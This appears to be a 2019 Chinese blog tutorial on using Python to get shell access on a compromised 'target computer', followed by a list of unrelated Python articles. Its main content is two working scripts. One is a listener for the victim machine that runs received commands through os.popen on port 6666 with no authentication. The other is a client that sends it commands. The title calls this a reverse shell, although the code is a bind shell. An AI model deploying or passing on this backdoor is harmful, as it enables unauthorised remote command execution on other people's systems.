python模拟菜刀反弹shell绕过限制【推荐】

 更新时间:2019年06月25日 14:32:44   作者:痱子﹑  
这篇文章主要介绍了利用python模拟菜刀反弹shell绕过限制,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

相关文章

  • python 文件和路径操作函数小结

    python 文件和路径操作函数小结

    python 文件和路径操作函数小结,需要开发的朋友可以参考下。
    2009-11-11
  • Python正则表达式高效处理文本数据的秘诀轻松掌握

    Python正则表达式高效处理文本数据的秘诀轻松掌握

    当谈到文本处理和搜索时,正则表达式是Python中一个强大且不可或缺的工具,正则表达式是一种用于搜索、匹配和处理文本的模式描述语言,可以在大量文本数据中快速而灵活地查找、识别和提取所需的信息,
    2023-11-11
  • Python操作Git的项目实践

    Python操作Git的项目实践

    本文介绍了使用Python和GitPython库进行各种Git操作,包括打开仓库、查询状态、添加和提交更改等,具有一定的参考价值,感兴趣的可以了解一下
    2024-12-12
  • 关于python中第三方库交叉编译的问题

    关于python中第三方库交叉编译的问题

    这篇文章主要介绍了python及第三方库交叉编译,通过交叉编译工具,我们就可以在CPU能力很强、存储控件足够的主机平台上(比如PC上)编译出针对其他平台的可执行程序,需要的朋友可以参考下
    2022-09-09
  • python对excel文档去重及求和的实例

    python对excel文档去重及求和的实例

    下面小编就为大家分享一篇python对excel文档去重及求和的实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-04-04
  • Python多进程multiprocessing、进程池用法实例分析

    Python多进程multiprocessing、进程池用法实例分析

    这篇文章主要介绍了Python多进程multiprocessing、进程池用法,结合实例形式分析了Python多进程multiprocessing、进程池相关概念、原理、用法及操作注意事项,需要的朋友可以参考下
    2020-03-03
  • 浅谈如何测试Python代码

    浅谈如何测试Python代码

    今天带大家了解如何用Python测试代码,文中有非常详细的介绍及代码示例,对正在学习的小伙伴们很有帮助,需要的朋友可以参考下
    2021-06-06
  • Python数据分析matplotlib设置多个子图的间距方法

    Python数据分析matplotlib设置多个子图的间距方法

    今天小编就为大家分享一篇Python数据分析matplotlib设置多个子图的间距方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-08-08
  • python3实现SMTP发送邮件详细教程

    python3实现SMTP发送邮件详细教程

    这篇文章主要为大家详细介绍了python3实现SMTP发送邮件的详细教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-06-06
  • python实现人机对战的五子棋游戏

    python实现人机对战的五子棋游戏

    这篇文章主要为大家详细介绍了python实现人机对战的五子棋游戏,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2022-04-04

最新评论